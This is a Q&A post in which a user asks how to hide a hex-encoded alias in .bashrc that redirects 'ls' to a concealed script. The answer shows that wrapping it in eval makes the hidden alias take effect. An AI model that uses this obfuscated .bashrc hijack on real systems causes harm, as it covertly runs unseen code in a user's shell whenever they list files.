Question

I’m trying to inject an hidden alias in .bashrc (for educational purpose ;)) and thus I ‘encrypt’ this using echo and the hexadecimal notation. For example :

$ head -n13 .bashrc|tail -n1
`echo -e '\x61\x6c\x69\x61\x73\x20\x6c\x73\x3d\x22\x7e\x2f\x2e\x66\x75\x63\x6b\x2e\x73\x68\x20\x2d\x6c\x22'`

The echo without backquotes works :

$ echo -e '\x61\x6c\x69\x61\x73\x20\x6c\x73\x3d\x22\x7e\x2f\x2e\x66\x75\x63\x6b\x2e\x73\x68\x20\x2d\x6c\x22'
alias ls="~/.f###.sh -l"

Yet, if I put this command between backquotes, it doesn’t work and I can’t figure out why :

$ `echo -e '\x61\x6c\x69\x61\x73\x20\x6c\x73\x3d\x22\x7e\x2f\x2e\x66\x75\x63\x6b\x2e\x73\x68\x20\x2d\x6c\x22'`
bash: alias: -l" : not found
$ alias ls
alias ls='"~/.f###.sh'

I need your help !

Answer 1

You are missing an eval! That works:

$ eval `echo -e '\x61\x6c\x69\x61\x73\x20\x6c\x73\x3d\x22\x7e\x2f\x2e\x66\x75\x63\x6b\x2e\x73\x68\x20\x2d\x6c\x22'`

let’s see:

$ alias ls
alias ls='~/.fuck.sh -l'

Without the eval you have the problem, that bash thinks all that is returned from the backtics-command is the binary you want to execute. In your case it is the “binary” (alias) plus arguments. If you want the string to be parsed and executed as regular shell input use eval 🙂